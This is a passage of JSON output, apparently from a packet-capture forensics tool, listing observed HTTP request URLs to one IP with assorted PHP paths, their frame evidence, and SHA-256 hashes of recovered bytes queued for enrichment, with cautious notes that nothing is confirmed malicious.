        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1180,
            "display_filter": "frame.number == 1180",
            "timestamp_epoch": "1577255859.934586000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3f3c831de2ef4c31d4a15024",
        "type": "url",
        "value": "http://128.199.64.235/zuoindex.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1367,
            "display_filter": "frame.number == 1367",
            "timestamp_epoch": "1577255969.329710000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6198306b7fef1c2b56435f4d",
        "type": "url",
        "value": "http://128.199.64.235/zuos.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1391,
            "display_filter": "frame.number == 1391",
            "timestamp_epoch": "1577255983.849111000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-08c7c42de606e6bf9ad13d93",
        "type": "url",
        "value": "http://128.199.64.235/zuoshou.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1177,
            "display_filter": "frame.number == 1177",
            "timestamp_epoch": "1577255858.932731000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d30c62e2a3f91cc1d76ac68e",
        "type": "url",
        "value": "http://128.199.64.235/zuoshss.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1399,
            "display_filter": "frame.number == 1399",
            "timestamp_epoch": "1577255989.921922000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-084b367cda0cb82e690a1050",
        "type": "url",
        "value": "http://128.199.64.235/zuoss.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1396,
            "display_filter": "frame.number == 1396",
            "timestamp_epoch": "1577255988.279498000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e6562503fabfa26765b46d8b",
        "type": "url",
        "value": "http://128.199.64.235/zz.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 431,
            "display_filter": "frame.number == 431",
            "timestamp_epoch": "1577255495.946535000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f95b45c6403d27acc704d9f2",
        "type": "url",
        "value": "http://128.199.64.235/zza.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 896,
            "display_filter": "frame.number == 896",
            "timestamp_epoch": "1577255761.064868000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e24c7fd462401a8ddf9a2eb8",
        "type": "url",
        "value": "http://128.199.64.235/zzk.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1716,
            "display_filter": "frame.number == 1716",
            "timestamp_epoch": "1577256144.844610000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-44cc09c2c7fc0298f000da14",
        "type": "url",
        "value": "http://128.199.64.235/zzz.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 13,
            "frame_number": 500,
            "display_filter": "frame.number == 500",
            "timestamp_epoch": "1577255554.970744000"
          },
          {
            "tcp_stream": 28,
            "frame_number": 867,
            "display_filter": "frame.number == 867",
            "timestamp_epoch": "1577255749.817651000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1969,
            "display_filter": "frame.number == 1969",
            "timestamp_epoch": "1577256257.763611000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e84ca66b6a5a920e4b3bfac5",
        "type": "url",
        "value": "http://128.199.64.235:80/webdav/",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 3,
            "frame_number": 68,
            "display_filter": "frame.number == 68",
            "timestamp_epoch": "1577255356.304538000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      }
    ],
    "counts": {
      "observed": 697,
      "suspicious": 3
    },
    "ioc_candidate_count": 3,
    "summary": "700 typed observations; 3 evidence-backed IOC candidates for review, including 0 with direct malicious provider reports. No automatic confirmation or attribution.",
    "limitations": [
      "No detections, no record, missing credentials and provider errors do not mean benign.",
      "Current reputation may postdate the capture. Shared hosting, DNS resolution and graph overlap do not transfer maliciousness.",
      "A recovered file is not proof of execution; hashes identify exported bytes, including partial objects.",
      "Public-looking enterprise domains may still be sensitive: review selected targets before external disclosure."
    ],
    "enrichment_plan": {
      "policy": "evidence-priority-v2",
      "items": [
        {
          "observable_id": "observable-05ccf8089e7ca006c93f7a02",
          "type": "sha256",
          "value": "002dec6d3ad597ad1363832cf980c066186b2a5f58b6142e09858f7d76d1eda7",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-b75fd6a45e1ab6e2f356e433",
          "type": "sha256",
          "value": "04eebbc1d0c8d07eaa429c4676f1a4d4147ed6e434b051f8404b5750977f9be9",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-a1034e5ee96767d3dbbb82c8",
          "type": "sha256",
          "value": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-469e88a36e80b4f20ddeafbc",
          "type": "sha256",
          "value": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-b529feb903aab9441cfbab5b",
          "type": "sha256",
          "value": "07bc2cd7b6b5cb96d0487caa89080d9b80a2c59dab7ada05fb89e53f09aa980d",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-dd1923c4328ffda051966701",
          "type": "sha256",
          "value": "0947a7a5cd606f9fbc01a6f8a68689b719f4b593cc02fc15ecaaa4c5d087c54e",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-a0890aa7e09c2cff7c54d294",
          "type": "sha256",
          "value": "0ac1505747d95c61631db1420f88e990d4001c411407e85f6fe76880ed6401f3",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-923b212e7261921a476e2d7c",
          "type": "sha256",
          "value": "0dbb7096e097f7ed71c520d093d8b1fc2f23e01fa5f3c3a71a8861e14c9b88cb",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-1e756008f21a92ee63ef0255",
          "type": "sha256",
          "value": "0ec71ec402ba43c54280456053b33624a9481559ecaa96ab45ace5d42d2b8697",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-6ba37358d0e9db4e2a1b8d73",
          "type": "sha256",
          "value": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-d717ca6ee0eea305f6df7893",
          "type": "sha256",
          "value": "11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-2a46ff5771a1cc7772894064",
          "type": "sha256",
          "value": "11ae4ece213f6e5fb811c194ce843d0719f6b5cba7a9e07a84876308014023e3",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-ca62258a5ae4dc0aab155443",
          "type": "sha256",
          "value": "14170376d25bb11f6f3852ab3d81a87cbcda0c618a5a985bd1b794c8ddbd7fd2",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-29607b723f811ea36a21f8f7",
          "type": "sha256",
          "value": "1564d3db2b42cec507a3359d8f89fc060035ab94819b5504cec1b7715358f770",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-1dfc93bc2fb9147ef2c7e4cf",
          "type": "sha256",
          "value": "1b0788ffeb11a35f6baec1be34ee2d65c8da1611422dc0d063c0cc38ef38c049",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-2e0644a2d41621ca2e96cd25",
          "type": "sha256",
          "value": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-fcdf28c2b75f084211247f00",
          "type": "sha256",
          "value": "201a5616598b897bc8683e6ac3eb3f354a5eeb32c693e507706545fe03f8247a",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-b67e12ce0fea42786e9e89de",
          "type": "sha256",
          "value": "207029dc899d5175df605dd25e4d60af77b5bf2b5bf75eaa951b0fca7615cd20",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-2f2d11291a2babe29862b00f",
          "type": "sha256",
          "value": "22d4e4edf6b669157f4d8b960b07e51f5d1189b481fe0d6c069c4a9c2e9b62f8",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-7b94d82d210a7e516aebb48d",
          "type": "sha256",
          "value": "232a8b0a5755ac6497c68ab10572b17d4318b1e01961bbad679b0061d3ad60d0",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-de8ff8bda65293dd5332e4b9",
          "type": "sha256",
          "value": "233c5bb3d97bdc6393fa229ec35347ccfebba51f519d3013bc833c7f867eab9e",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-8f889131758c68ec65cf25f6",
          "type": "sha256",
          "value": "244de61d3491edb765abb93fe7f8f5548aad63f7b27b8b4aa64a2b83085f8fa2",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-f20b75caef2a9658c8e132c9",
          "type": "sha256",
          "value": "25f77a89d80029b8735f7a5dddbf7e69ab27fdf998cec485ef02e14d67720ae6",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-1724ef7a8223c0553436c4f1",
          "type": "sha256",
          "value": "2a88a2d5883c65f59114dd74a75d1d734d0fdee531d3119ed5c8ecc1c11f42e8",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-47f1adfb5888842a6776f20d",
          "type": "sha256",
          "value": "2c3906c7ad9f0f1a719ed2c92169e63d1e38c077da8fd49870ff9fc5f86253d6",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-da427e0a8e5967e69269950e",
          "type": "sha256",
          "value": "2de5f6ac384ba39120f56ba6ed59c706c4a52d96fc5123575ed7fe0ec9c8f1a2",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-abc9e12c2f8c85f2ea229f26",
          "type": "sha256",
          "value": "3171503cd3eb4ced940a1d0ef36312eca824a055b66bc54ce295a2433a165e25",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-95686cf3873e79e815053c81",
          "type": "sha256",
          "value": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-8e78546f93d4684fa073b87e",
          "type": "sha256",
          "value": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-f95a20551da454d45479952a",
          "type": "sha256",
          "value": "394255f257a9e01ce5838b8023f8469090434a6dff6f2484ccedc68baecb58ca",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-6aaa7e9453e42ef7a7d5dbcf",
          "type": "sha256",
          "value": "398e5b24097be4e9b0ac36902dddf964b364071eb383f91f856ff5c9dc1c5d58",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-078e0c77da3dfbb734e1879b",
          "type": "sha256",
          "value": "39cad84b05c06b4b0349229379fe47079f0c20a7620ee3ef11180c293b5015dd",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-1c43ac26866e649b43315612",
          "type": "sha256",
          "value": "3b690b1cc0bb875bb2dbb1a06c9ba84ede108e11e702b0582ebc0a29819edd24",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-3e216d663cc354152029a9cb",
          "type": "sha256",
          "value": "3ca4a88819724de1c262999827fc52028fe4879b08d51bb57067fee192caab43",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-6162702b33d5808748577b7b",
          "type": "sha256",
          "value": "3ef3aa42bc88de9043ac872bc1b24e2f530f244ee2b924e6891caa396ac68362",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-ceb94d2cb1bbb8ce2dabddcc",
          "type": "sha256",
          "value": "3fd00b82d4e7698a68bcbf4d94505a71aad3fa59a9600cdff34afc868b70c025",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-dd135149154f8c6a86fe4803",
          "type": "sha256",
          "value": "438e452b4bee81dbe459dc9082ed15556e117c3110318c4c336633a8e46b2105",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-c92d7affee5b6eb2fc173b64",
          "type": "sha256",
          "value": "45ecec3bdf32d519c20bd147b7b36a42c802ee3d33ca614cdfa667c82e4d8a60",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-a047701f003edc56f2fc89c8",
          "type": "sha256",
          "value": "46c7ad95f8964264d4b79d95fafd174bf93fb9b8b9823a128c22350c17d40d4c",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-9fe86d61298ff9e666c69293",
          "type": "sha256",
          "value": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-a8e563e69159217261cf7f94",
          "type": "sha256",
          "value": "47aea2244a844301999c7261c840ccd94d4d2c8adad8642d8f59f897ffb34113",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-28fb70f9cac42286ec2444e2",
          "type": "sha256",
          "value": "48ed77af7b3153860c46cb5fe6235e7c40d373d8cf735dd43115af97c2a8cbf1",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-a09b7180b07a8896db364b12",
          "type": "sha256",
          "value": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-5d0807abafff05632efdd834",
          "type": "sha256",
          "value": "4b13c2f7340c63af42a5d62915fbc6aa10bf0f1530d751f6369f5132209ef055",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-0b676bfe48b5aebda108dad1",
          "type": "sha256",
          "value": "4c3eee1d3a323e28500ee14a899fd43b2b24b3424ee69f3962a84c912f26bfa7",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-4d8f0b5a5ae075eecbfedbc8",
          "type": "sha256",
          "value": "5125bf862c72ccb0de89bbd789010efdd11456196c712f9342320c66a8f6fb87",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-a6cd34fedad4518127e4d828",
          "type": "sha256",
          "value": "520876bf35fe63f19fb5a2e95b0b1bb71e1a3594ac8da078de4c4a67a162facb",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-377143965af30a53b5287906",
          "type": "sha256",
          "value": "52f2375e9e406350794211299e6da748359401606995e965fdc62f0ce45fefbc",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-31d507c9d9b7d074f0074fc3",
          "type": "sha256",
          "value": "54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-e2e948dbc90ef927fb883c8b",
          "type": "sha256",
          "value": "57133fb0fb0b2dcd1b8c9543e3fc99518ce84426d286c9cd72085b43b5d8759b",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-38b2c5c6ca246da8168e544b",
          "type": "sha256",
          "value": "57a6db8da84404a4fc276685b85b3ed3f6bfa2b62cc9e98c2fe62734d78f6444",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-e33857b4f0f4a95375852916",
          "type": "sha256",
          "value": "5a45c5592a0b247efa23bb97e6a30fd7c9b516478faf22583c3c12ce8cb2b63c",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-455e3bd52940eab8257a37c9",
          "type": "sha256",
          "value": "5af181de5f983b28300bc36f16dc067212c41c86da2ea4393b9b89368a15ee96",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-b4e3cab898932f73b7721062",
          "type": "sha256",
          "value": "64be87fe9aff766bc913c9a9206848681460a9783a56f61cb3e708ae6ed1d0a8",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-6f6d247889c599af01a9f795",
          "type": "sha256",
          "value": "6969deae0d6a67ac80b1725825af06e963e4a1457a86b570d6f434a361292bfb",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-6e25b3e6dc5017f2dff12dd7",
          "type": "sha256",
          "value": "69b8076030fcadb25b8153706a27ad847ffbb8af4e00f178019f67731c688c20",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-078b2ea19aac95ac6cbf1c9a",
          "type": "sha256",
          "value": "69ebb06901e1a0b1d853c28fddcd8e1179397f351e10042f9fe13c632e2c4287",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-833df3d30fab37709534da16",
          "type": "sha256",
          "value": "6b269e52837eaa9fc3463f4c6b02e01a3f0740e7e1a877954a4901da1bea9c6c",
          "priority": 25,
          "reasons": [
            "recovered-unclassified-bytes"
          ],
          "direct_checked": false,
          "checked_providers": [],
          "pending_providers": [],
          "retryable_providers": [],
          "queue_ready": true,
          "ioc_candidate": false
        },
        {
          "observable_id": "observable-c447230a0e41f4d79ed474d2",
          "type": "sha256",
          "value": "6d8c2fe47cd2be5738d9bd4e50456d2f743a4f5918031859ba2546cfece0d65c",
          "priority": 25,
